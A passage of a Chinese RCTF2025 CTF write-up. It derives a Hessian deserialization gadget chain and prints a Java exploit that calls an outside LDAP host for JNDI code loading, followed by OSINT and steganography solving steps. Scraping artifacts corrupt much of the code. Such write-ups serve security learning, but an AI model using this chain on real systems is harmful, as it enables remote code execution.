文章总结: 本文是RCTF2025Writeup,涵盖PWN、WEB、MISC、CRYPTO及逆向方向。PWN题利用浮点数与Shellcode注入;WEB题涉及沙箱LD_PRELOAD劫持及Hessian反序列化;MISC包含OSINT检索、音频隐写与C2流量解密;CRYPTO考察格密码有理重构与配对加密攻击;逆向解析反调试下的RC4解密。文章提供了详细思路与利用代码。 综合评分: 93 文章分类: CTF,二进制安全,WEB安全,逆向分析,漏洞POC
maybe_easy
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//
package com.rctf.server.controller;
import com.rctf.server.tool.HessianFactory;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;
@Controllerpublic class RCTFController { @RequestMapping({"/hello"}) public String hello(@RequestParam(name = "data",required = false) String data) throws Exception { Object obj = HessianFactory.deserialize(data); return "hello"; }}
一个简单的hessian反序列化
发现调用了自己实现的HessianFactory
发现使用了白名单
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line static { WHITE_PACKAGES.add("com.rctf.server.tool."); WHITE_PACKAGES.add("java.util."); WHITE_PACKAGES.add("org.apache.commons.logging."); WHITE_PACKAGES.add("org.springframework.beans."); WHITE_PACKAGES.add("org.springframework.jndi."); }
发现出题人自定义的一个类
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//
package com.rctf.server.tool;
import java.io.Serializable;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;
public class Maybe extends Proxy implements Comparable<Object>, Serializable { public Maybe(InvocationHandler h) { super(h); }
public int compareTo(Object o) { try { Method method = Comparable.class.getMethod("compareTo", Object.class); Object result = this.h.invoke(this, method, new Object[]{o}); return (Integer)result; } catch (Throwable e) { throw new RuntimeException(e); } }}
这个类是可以被treemap进行触发compareTo触发其他类的动态代理的
使用n1ght_codeql搭建数据库
编写查询语句
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line/** * @name Empty%20block * @kind problem * @problem.severity%20warning * @id java/example/empty-block */
import javaimport libs.Sourceimport libs.DangerousMethods
class InvokerHandler extends Class { %20InvokerHandler()%20{ %20 this.getASupertype*().getQualifiedName()%20= "java.lang.reflect.InvocationHandler" and %20 %20( %20 %20 this.getQualifiedName().regexpMatch("java.util.+")%20or %20 %20 this.getQualifiedName().regexpMatch("org.apache.commons.logging.+")%20or %20 %20 this.getQualifiedName().regexpMatch("org.springframework.beans.+")%20or %20 %20 this.getQualifiedName().regexpMatch("org.springframework.jndi.+") %20 %20) %20}}
class HessianObjectFactory extends Method { %20HessianObjectFactory()%20{ %20 //%20this.getASupertype*().getQualifiedName()%20=%20"org.springframework.beans.factory.ObjectFactory" %20 this.getName()%20= "getObject" and %20 this.hasNoParameters()%20and %20 %20( %20 %20 this.getQualifiedName().regexpMatch("java.util.+")%20or %20 %20 this.getQualifiedName().regexpMatch("org.apache.commons.logging.+")%20or %20 %20 this.getQualifiedName().regexpMatch("org.springframework.beans.+")%20or %20 %20 this.getQualifiedName().regexpMatch("org.springframework.jndi.+") %20 %20) %20}}
//%20from%20HessianObjectFactory%20i,%20DangerousMethod%20m//%20where%20i.calls(m)//%20select%20ifrom%20DangerousMethod%20mselect%20m,%20m.getName()
发现了
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line %20 private static class ObjectFactoryDelegatingInvocationHandler implements InvocationHandler, Serializable { %20 %20 %20 private final%20ObjectFactory<?>%20objectFactory;
%20 %20 %20 %20ObjectFactoryDelegatingInvocationHandler(ObjectFactory<?>%20objectFactory)%20{ %20 %20 %20 %20 %20 this.objectFactory%20=%20objectFactory; %20 %20 %20 %20}
%20 %20 %20 public Object invoke(Object%20proxy,%20Method%20method,%20Object[] args)%20throws%20Throwable { %20 %20 %20 %20 %20 switch (method.getName())%20{ %20 %20 %20 %20 %20 %20 %20 case "equals": %20 %20 %20 %20 %20 %20 %20 %20 %20 return proxy%20== args[0]; %20 %20 %20 %20 %20 %20 %20 case "hashCode": %20 %20 %20 %20 %20 %20 %20 %20 %20 return System.identityHashCode(proxy); %20 %20 %20 %20 %20 %20 %20 case "toString": %20 %20 %20 %20 %20 %20 %20 %20 %20 return this.objectFactory.toString(); %20 %20 %20 %20 %20 %20 %20 default: %20 %20 %20 %20 %20 %20 %20 %20 %20 try { %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 return method.invoke(this.objectFactory.getObject(), args); %20 %20 %20 %20 %20 %20 %20 %20 %20 %20} catch (InvocationTargetException%20ex)%20{ %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 throw ex.getTargetException(); %20 %20 %20 %20 %20 %20 %20 %20 %20 %20} %20 %20 %20 %20 %20 %20} %20 %20 %20 %20} %20 %20}
发现了这个类
调用了实现了这个接口的getObject
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line////%20Source%20code%20recreated%20from%20a%20.class%20file%20by%20IntelliJ%20IDEA//%20(powered%20by%20FernFlower%20decompiler)//
package org.springframework.beans.factory;
import org.springframework.beans.BeansException;
@FunctionalInterfacepublic interface ObjectFactory<T>%20{ %20 %20T getObject() throws BeansException;}
这个时候使用第二个查询语句就发现了
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line////%20Source%20code%20recreated%20from%20a%20.class%20file%20by%20IntelliJ%20IDEA//%20(powered%20by%20FernFlower%20decompiler)//
package org.springframework.beans.factory.config;
import java.io.Serializable;import org.springframework.beans.BeansException;import org.springframework.beans.factory.BeanFactory;import org.springframework.beans.factory.ObjectFactory;import org.springframework.lang.Nullable;import org.springframework.util.Assert;
public class ObjectFactoryCreatingFactoryBean extends AbstractFactoryBean<ObjectFactory<Object>>%20{ %20 @Nullable %20 private String%20targetBeanName;
%20 public void%20setTargetBeanName(String%20targetBeanName)%20{ %20 %20 %20 this.targetBeanName%20=%20targetBeanName; %20 %20}
%20 public void%20afterPropertiesSet()%20throws%20Exception%20{ %20 %20 %20 %20Assert.hasText(this.targetBeanName, "Property%20'targetBeanName'%20is%20required"); %20 %20 %20 super.afterPropertiesSet(); %20 %20}
%20 public Class<?>%20getObjectType()%20{ %20 %20 %20 return ObjectFactory.class; %20 %20}
%20 protected ObjectFactory<Object>%20createInstance()%20{ %20 %20 %20 %20BeanFactory%20beanFactory%20= this.getBeanFactory(); %20 %20 %20 %20Assert.state(beanFactory%20!= null, "No%20BeanFactory%20available"); %20 %20 %20 %20Assert.state(this.targetBeanName%20!= null, "No%20target%20bean%20name%20specified"); %20 %20 %20 return new%20TargetBeanObjectFactory(beanFactory, this.targetBeanName); %20 %20}
%20 private static class TargetBeanObjectFactory implements ObjectFactory<Object>, Serializable { %20 %20 %20 private final BeanFactory%20beanFactory; %20 %20 %20 private final String%20targetBeanName;
%20 %20 %20 public TargetBeanObjectFactory(BeanFactory%20beanFactory,%20String%20targetBeanName)%20{ %20 %20 %20 %20 %20 this.beanFactory%20=%20beanFactory; %20 %20 %20 %20 %20 this.targetBeanName%20=%20targetBeanName; %20 %20 %20 %20}
%20 %20 %20 public Object%20getObject()%20throws%20BeansException%20{ %20 %20 %20 %20 %20 return this.beanFactory.getBean(this.targetBeanName); %20 %20 %20 %20} %20 %20}}
这里面调用了实现了BeanFactory接口的getBean
这时候codeql编写语句就发现了
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line////%20Source%20code%20recreated%20from%20a%20.class%20file%20by%20IntelliJ%20IDEA//%20(powered%20by%20FernFlower%20decompiler)//
package org.springframework.jndi.support;
import java.util.Collections;import java.util.HashMap;import java.util.HashSet;import java.util.Map;import java.util.Set;import javax.naming.NameNotFoundException;import javax.naming.NamingException;import org.springframework.beans.BeansException;import org.springframework.beans.factory.BeanDefinitionStoreException;import org.springframework.beans.factory.BeanFactory;import org.springframework.beans.factory.BeanNotOfRequiredTypeException;import org.springframework.beans.factory.NoSuchBeanDefinitionException;import org.springframework.beans.factory.NoUniqueBeanDefinitionException;import org.springframework.beans.factory.ObjectProvider;import org.springframework.core.ResolvableType;import org.springframework.jndi.JndiLocatorSupport;import org.springframework.jndi.TypeMismatchNamingException;import org.springframework.lang.Nullable;
public class SimpleJndiBeanFactory extends JndiLocatorSupport implements BeanFactory { %20 private final Set<String>%20shareableResources%20=%20new%20HashSet(); %20 private final Map<String,%20Object>%20singletonObjects%20=%20new%20HashMap(); %20 private final Map<String,%20Class<?>>%20resourceTypes%20=%20new%20HashMap();
%20 public SimpleJndiBeanFactory()%20{ %20 %20 %20 this.setResourceRef(true); %20 %20}
%20 public void%20addShareableResource(String%20shareableResource)%20{ %20 %20 %20 this.shareableResources.add(shareableResource); %20 %20}
%20 public void%20setShareableResources(String...%20shareableResources)%20{ %20 %20 %20 %20Collections.addAll(this.shareableResources,%20shareableResources); %20 %20}
%20 public Object%20getBean(String%20name)%20throws%20BeansException%20{ %20 %20 %20 return this.getBean(name,%20Object.class); %20 %20}
%20 public <T>%20T%20getBean(String%20name,%20Class<T>%20requiredType)%20throws%20BeansException%20{ %20 %20 %20 try { %20 %20 %20 %20 %20 return (T)(this.isSingleton(name)%20? this.doGetSingleton(name,%20requiredType)%20: this.lookup(name,%20requiredType)); %20 %20 %20 %20} catch (NameNotFoundException%20var4)%20{ %20 %20 %20 %20 %20 throw new%20NoSuchBeanDefinitionException(name, "not%20found%20in%20JNDI%20environment"); %20 %20 %20 %20} catch (TypeMismatchNamingException%20ex)%20{ %20 %20 %20 %20 %20 throw new%20BeanNotOfRequiredTypeException(name,%20ex.getRequiredType(),%20ex.getActualType()); %20 %20 %20 %20} catch (NamingException%20ex)%20{ %20 %20 %20 %20 %20 throw new%20BeanDefinitionStoreException("JNDI%20environment",%20name, "JNDI%20lookup%20failed",%20ex); %20 %20 %20 %20} %20 %20}
%20 public Object%20getBean(String%20name, @Nullable Object...%20args)%20throws%20BeansException%20{ %20 %20 %20 if (args%20!= null)%20{ %20 %20 %20 %20 %20 throw new%20UnsupportedOperationException("SimpleJndiBeanFactory%20does%20not%20support%20explicit%20bean%20creation%20arguments"); %20 %20 %20 %20} else { %20 %20 %20 %20 %20 return this.getBean(name); %20 %20 %20 %20} %20 %20}
%20 public <T>%20T%20getBean(Class<T>%20requiredType)%20throws%20BeansException%20{ %20 %20 %20 return (T)this.getBean(requiredType.getSimpleName(),%20requiredType); %20 %20}
%20 public <T>%20T%20getBean(Class<T>%20requiredType, @Nullable Object...%20args)%20throws%20BeansException%20{ %20 %20 %20 if (args%20!= null)%20{ %20 %20 %20 %20 %20 throw new%20UnsupportedOperationException("SimpleJndiBeanFactory%20does%20not%20support%20explicit%20bean%20creation%20arguments"); %20 %20 %20 %20} else { %20 %20 %20 %20 %20 return (T)this.getBean(requiredType); %20 %20 %20 %20} %20 %20}
%20 public <T>%20ObjectProvider<T>%20getBeanProvider(final Class<T>%20requiredType)%20{ %20 %20 %20 return new%20ObjectProvider<T>()%20{ %20 %20 %20 %20 %20 public T%20getObject()%20throws%20BeansException%20{ %20 %20 %20 %20 %20 %20 %20 return (T)SimpleJndiBeanFactory.this.getBean(requiredType); %20 %20 %20 %20 %20 %20}
%20 %20 %20 %20 %20 public T%20getObject(Object...%20args)%20throws%20BeansException%20{ %20 %20 %20 %20 %20 %20 %20 return (T)SimpleJndiBeanFactory.this.getBean(requiredType,%20args); %20 %20 %20 %20 %20 %20}
%20 %20 %20 %20 %20 @Nullable %20 %20 %20 %20 %20 public T%20getIfAvailable()%20throws%20BeansException%20{ %20 %20 %20 %20 %20 %20 %20 try { %20 %20 %20 %20 %20 %20 %20 %20 %20 return (T)SimpleJndiBeanFactory.this.getBean(requiredType); %20 %20 %20 %20 %20 %20 %20 %20} catch (NoUniqueBeanDefinitionException%20ex)%20{ %20 %20 %20 %20 %20 %20 %20 %20 %20 throw ex; %20 %20 %20 %20 %20 %20 %20 %20} catch (NoSuchBeanDefinitionException%20var3)%20{ %20 %20 %20 %20 %20 %20 %20 %20 %20 return null; %20 %20 %20 %20 %20 %20 %20 %20} %20 %20 %20 %20 %20 %20}
%20 %20 %20 %20 %20 @Nullable %20 %20 %20 %20 %20 public T%20getIfUnique()%20throws%20BeansException%20{ %20 %20 %20 %20 %20 %20 %20 try { %20 %20 %20 %20 %20 %20 %20 %20 %20 return (T)SimpleJndiBeanFactory.this.getBean(requiredType); %20 %20 %20 %20 %20 %20 %20 %20} catch (NoSuchBeanDefinitionException%20var2)%20{ %20 %20 %20 %20 %20 %20 %20 %20 %20 return null; %20 %20 %20 %20 %20 %20 %20 %20} %20 %20 %20 %20 %20 %20} %20 %20 %20 %20}; %20 %20}
%20 public <T>%20ObjectProvider<T>%20getBeanProvider(ResolvableType%20requiredType)%20{ %20 %20 %20 throw new%20UnsupportedOperationException("SimpleJndiBeanFactory%20does%20not%20support%20resolution%20by%20ResolvableType"); %20 %20}
%20 public boolean%20containsBean(String%20name)%20{ %20 %20 %20 if (!this.singletonObjects.containsKey(name)%20&&%20!this.resourceTypes.containsKey(name))%20{ %20 %20 %20 %20 %20 try { %20 %20 %20 %20 %20 %20 %20 this.doGetType(name); %20 %20 %20 %20 %20 %20 %20 return true; %20 %20 %20 %20 %20 %20} catch (NamingException%20var3)%20{ %20 %20 %20 %20 %20 %20 %20 return false; %20 %20 %20 %20 %20 %20} %20 %20 %20 %20} else { %20 %20 %20 %20 %20 return true; %20 %20 %20 %20} %20 %20}
%20 public boolean%20isSingleton(String%20name)%20throws%20NoSuchBeanDefinitionException%20{ %20 %20 %20 return this.shareableResources.contains(name); %20 %20}
%20 public boolean%20isPrototype(String%20name)%20throws%20NoSuchBeanDefinitionException%20{ %20 %20 %20 return !this.shareableResources.contains(name); %20 %20}
%20 public boolean%20isTypeMatch(String%20name,%20ResolvableType%20typeToMatch)%20throws%20NoSuchBeanDefinitionException%20{ %20 %20 %20 %20Class<?>%20type%20= this.getType(name); %20 %20 %20 return type%20!= null &&%20typeToMatch.isAssignableFrom(type); %20 %20}
%20 public boolean%20isTypeMatch(String%20name, @Nullable Class<?>%20typeToMatch)%20throws%20NoSuchBeanDefinitionException%20{ %20 %20 %20 %20Class<?>%20type%20= this.getType(name); %20 %20 %20 return typeToMatch%20== null ||%20type%20!= null &&%20typeToMatch.isAssignableFrom(type); %20 %20}
%20 @Nullable %20 public Class<?>%20getType(String%20name)%20throws%20NoSuchBeanDefinitionException%20{ %20 %20 %20 return this.getType(name, true); %20 %20}
%20 @Nullable %20 public Class<?>%20getType(String%20name,%20boolean%20allowFactoryBeanInit)%20throws%20NoSuchBeanDefinitionException%20{ %20 %20 %20 try { %20 %20 %20 %20 %20 return this.doGetType(name); %20 %20 %20 %20} catch (NameNotFoundException%20var4)%20{ %20 %20 %20 %20 %20 throw new%20NoSuchBeanDefinitionException(name, "not%20found%20in%20JNDI%20environment"); %20 %20 %20 %20} catch (NamingException%20var5)%20{ %20 %20 %20 %20 %20 return null; %20 %20 %20 %20} %20 %20}
%20 public String[]%20getAliases(String%20name)%20{ %20 %20 %20 return new%20String[0]; %20 %20}
%20 private <T>%20T%20doGetSingleton(String%20name, @Nullable Class<T>%20requiredType)%20throws%20NamingException%20{ %20 %20 %20 %20synchronized(this.singletonObjects)%20{ %20 %20 %20 %20 %20 %20Object%20singleton%20= this.singletonObjects.get(name); %20 %20 %20 %20 %20 if (singleton%20!= null)%20{ %20 %20 %20 %20 %20 %20 %20 if (requiredType%20!= null &&%20!requiredType.isInstance(singleton))%20{ %20 %20 %20 %20 %20 %20 %20 %20 %20 throw new%20TypeMismatchNamingException(this.convertJndiName(name),%20requiredType,%20singleton.getClass()); %20 %20 %20 %20 %20 %20 %20 %20} else { %20 %20 %20 %20 %20 %20 %20 %20 %20 return (T)singleton; %20 %20 %20 %20 %20 %20 %20 %20} %20 %20 %20 %20 %20 %20} else { %20 %20 %20 %20 %20 %20 %20 %20T%20jndiObject%20=%20(T)this.lookup(name,%20requiredType); %20 %20 %20 %20 %20 %20 %20 this.singletonObjects.put(name,%20jndiObject); %20 %20 %20 %20 %20 %20 %20 return jndiObject; %20 %20 %20 %20 %20 %20} %20 %20 %20 %20} %20 %20}
%20 private Class<?>%20doGetType(String%20name)%20throws%20NamingException%20{ %20 %20 %20 if (this.isSingleton(name))%20{ %20 %20 %20 %20 %20 return this.doGetSingleton(name,%20(Class)null).getClass(); %20 %20 %20 %20} else { %20 %20 %20 %20 %20 %20synchronized(this.resourceTypes)%20{ %20 %20 %20 %20 %20 %20 %20 %20Class<?>%20type%20=%20(Class)this.resourceTypes.get(name); %20 %20 %20 %20 %20 %20 %20 if (type%20== null)%20{ %20 %20 %20 %20 %20 %20 %20 %20 %20 %20type%20= this.lookup(name,%20(Class)null).getClass(); %20 %20 %20 %20 %20 %20 %20 %20 %20 this.resourceTypes.put(name,%20type); %20 %20 %20 %20 %20 %20 %20 %20}
%20 %20 %20 %20 %20 %20 %20 return type; %20 %20 %20 %20 %20 %20} %20 %20 %20 %20} %20 %20}}
可以触发jndi,后面就是jdk原生反序列化的事情,走pojonode->spring%20aop->templatesImpl的事情了
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linepackage org.example;
import com.rctf.server.tool.Maybe;import org.springframework.jndi.support.SimpleJndiBeanFactory;import sun.misc.Unsafe;import ysomap.core.util.ReflectionHelper;
import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.security.SignedObject;import java.util.HashMap;import java.util.Map;import java.util.TreeMap;import java.util.TreeSet;
public class Exp { %20 public static void main(String[]%20args) throws %20Exception{ %20 %20 %20 Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe"); %20 %20 %20 %20theUnsafe.setAccessible(true); %20 %20 %20 Unsafe unsafe = (Unsafe)%20theUnsafe.get(null); %20 %20 %20 %20Class<?>%20name%20=%20Class.forName("org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory"); %20 %20 %20 Object o1 = unsafe.allocateInstance(name); %20 %20 %20 SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
%20 %20 %20 %20unsafe.getAndSetObject(o1,unsafe.objectFieldOffset(name.getDeclaredField("beanFactory")),simpleJndiBeanFactory); %20 %20 %20 %20unsafe.getAndSetObject(o1,unsafe.objectFieldOffset(name.getDeclaredField("targetBeanName")),"ldap://112.124.59.213:50389/a1ab9c");
%20 %20 %20 InvocationHandler o = (InvocationHandler)%20unsafe.allocateInstance(Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")); %20 %20 %20 long objectFactory = unsafe.objectFieldOffset(Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").getDeclaredField("objectFactory")); %20 %20 %20 %20unsafe.getAndSetObject(o,objectFactory,o1); %20 %20 %20 Maybe maybe = new Maybe(o); %20 %20 %20 TreeSet treeSet = makeTreeSet(maybe,%20maybe); %20 %20 %20 String serialize = HessianFactory.serialize(treeSet); %20 %20 %20 %20System.out.println(serialize);//%20 %20 %20 %20 HessianFactory.deserialize(serialize); %20 %20} %20 public static TreeSet makeTreeSet(Object%20v1,%20Object%20v2) throws Exception%20{ %20 %20 %20 %20TreeMap<Object,Object>%20m%20= new TreeMap<>(); %20 %20 %20 %20ReflectionHelper.setFieldValue(m, "size", 2); %20 %20 %20 %20ReflectionHelper.setFieldValue(m, "modCount", 2); %20 %20 %20 %20Class<?>%20nodeC%20=%20Class.forName("java.util.TreeMap$Entry"); %20 %20 %20 Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class,%20Object.class,%20nodeC); %20 %20 %20 %20ReflectionHelper.setAccessible(nodeCons); %20 %20 %20 Object node = nodeCons.newInstance(v1, new Object[0], null); %20 %20 %20 Object right = nodeCons.newInstance(v2, new Object[0],%20node); %20 %20 %20 %20ReflectionHelper.setFieldValue(node, "right",%20right); %20 %20 %20 %20ReflectionHelper.setFieldValue(m, "root",%20node);
%20 %20 %20 TreeSet set = new TreeSet(); %20 %20 %20 %20ReflectionHelper.setFieldValue(set, "m",%20m); %20 %20 %20 return set; %20 %20}
}
Misc
Speak%20Softly%20Love
ounter(lineounter(lineounter(lineounter(line1.8ssDGBTssUI2.r1783.https://mateusz.viste.fr/mateusz.ogg4.16TofYbGd86C7S6JuAuhGkX4fbmC9QtzwT
第一问
根据视频试图先找到电脑型号,然后结合关键词music,youtube搜索找到这个。
ounter(line8ssDGBTssUI
第二问
查找DOSmid
ounter(linehttps://www.vogons.org/viewtopic.php?t=44947
先找到关于这个的大致信息
使用的svn
ounter(linesvn%20co svn://svn.mateusz.fr/dosmid%20dosmid-svn
然后基于上述关键词去查找
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineroot@DESKTOP-LV8V93U:/home/2025RCTF/dosmid-svn#%20svn%20log -r 200:350 | egrep -i%20"playlist|m3u|freeze|empty|loop|soft"freezed%20v0.9 to tagsfreezed%20v0.9.1 to tagssequential%20playing of playlists,%20inspired by a%20patch%20proposed by Graham%20Wisemanfreezed%20v0.9.2 into tagsfreezed%20v0.9.3 to tagsm3u%20playlist%20uses%20fio%20calls%20instead of fopen() and friendsfix: /random%20was%20always%20playing first song of the%20m3u%20list,%20now%20it is random from the startfixed%20playlist%20gap%20delay%20computation%20(fixed /delay%20behavior,%20too)freezed%20v0.9.4 to tagsfreezed%20v0.9.5 to tagsroot@DESKTOP-LV8V93U:/home/2025RCTF/dosmid-svn#%20svn%20log -r 1:200 | egrep -i%20"playlist|m3u|freeze|empty|loop|soft"do not freeze when no MPU401 is respondingsetting%20volume in software%20again,%20reinstated default delay=2ms,%20improved%20keyboard%20reaction%20times and adjusted%20documentationadded%20INT28h%20powersaving%20during%20idle%20loopsdetecting when a%20playlist is passed on command-line%20(but no m3u%20support%20yet)first semi-experimental%20M3U%20supportfreezed%20v0.6 into tagsfreezed%20v0.6.1 into tagsfreezed%20v0.7 in tagsfreezed%20v0.8 into tagsadded%20an empty and self-documented%20configuration%20file2s%20silence%20gap is inserted only in playlist%20mode%20(no reason to wait 2s for a%20single%20file)fixed%20freezing when fed with an empty playlistif%20too%20many 'soft' errors%20occur in a row,%20dosmid%20aborts%20(protects%20against 'soft%20errors%20loops',%20typically with playlist%20filled with non-existing%20files)add a%20note%20about empty titles, when no textual%20data%20could%20be%20found in the%20midi%20fileignore leading empty title%20linesfreezed%20v0.9 to tagsroot@DESKTOP-LV8V93U:/home/2025RCTF/dosmid-svn#%20svn%20log -r 1:200 | grep -n%20"soft"260:setting%20volume in software%20again,%20reinstated default delay=2ms,%20improved%20keyboard%20reaction%20times and adjusted%20documentation712:if%20too%20many 'soft' errors%20occur in a row,%20dosmid%20aborts%20(protects%20against 'soft%20errors%20loops',%20typically with playlist%20filled with non-existing%20files)root@DESKTOP-LV8V93U:/home/2025RCTF/dosmid-svn#%20svn%20log -r 1:200 | sed -n '710,720p'r178 | mv_fox | 2016-05-09 01:21:38 +0800 (Mon, 09 May 2016) | 1 line
if%20too%20many 'soft' errors%20occur in a row,%20dosmid%20aborts%20(protects%20against 'soft%20errors%20loops',%20typically with playlist%20filled with non-existing%20files)------------------------------------------------------------------------r179 | mv_fox | 2016-05-09 01:25:49 +0800 (Mon, 09 May 2016) | 1 line
replaced%20sleep()%20calls with equivalent%20udelay()%20calls%20(makes%20the binary 128 bytes%20lighter)------------------------------------------------------------------------r180 | mv_fox | 2016-05-10 02:04:00 +0800 (Tue, 10 May 2016) | 1 line
fetching%20more%20textual%20data from MIDI%20files%20(text%20events,%20tracks%20titles,%20marker%20events...) and displaying%20it on a%20little%20scrolling window
可以锁定在r178-180,然后试r178就直接对了
ounter(liner178
第三问
根据评论区找到主页
ounter(lineounter(lineounter(lineounter(line主页里想联系我吗?我的电子邮件地址与此网页的地址几乎相同([email protected])。令人惊讶的是,很多人难以念出我的名字,所以这里附上我的名字(图片来自%20Wikimedia)。https://mateusz.viste.fr/mateusz.ogg
第四问
在主页发现了
ounter(linegopher://gopher.viste.fr
在26里找到了
ounter(line16TofYbGd86C7S6JuAuhGkX4fbmC9QtzwT
The%20Alchemist’s%20Cage
Wanna%20Feel%20Love
Challenge%201
She%20only%20wanted%20to%20sing,%20but%20her%20voice%20was%20hidden%20in%20silence.%20What%20is%20this%20email%20trying%20to%20tell%20you?%20Look%20beyond%20what%20you%20hear%20—%20seek%20the%20whispers%20in%20the%20shadows,%20the%20comments%20that%20were%20never%20meant%20to%20be%20seen.
邮件隐写
ounter(linehttps://www.spammimic.com
ounter(lineDon't%20just%20listen%20to%20the%20sound;%20this%20file%20is%20hiding%20an%20'old relic.'%20Try%20looking%20for%20the%20'comments'%20that%20the%20player%20isn't%20supposed to see.
Challenge%202
She%20wants%20to%20tell%20you%20something,%20encoded%20in%20melodies.%20Within%20the%20digital%20symphony,%20her%20true%20voice%20emerges.%20What%20is%20the%20hidden%20message%20found%20in%20the%20XM%20file?%20The%20words%20she%20longed%20to%20sing,%20the%20feeling%20she%20wanted%20to%20share.
然后下载openmpt
评论和乐曲名有提示
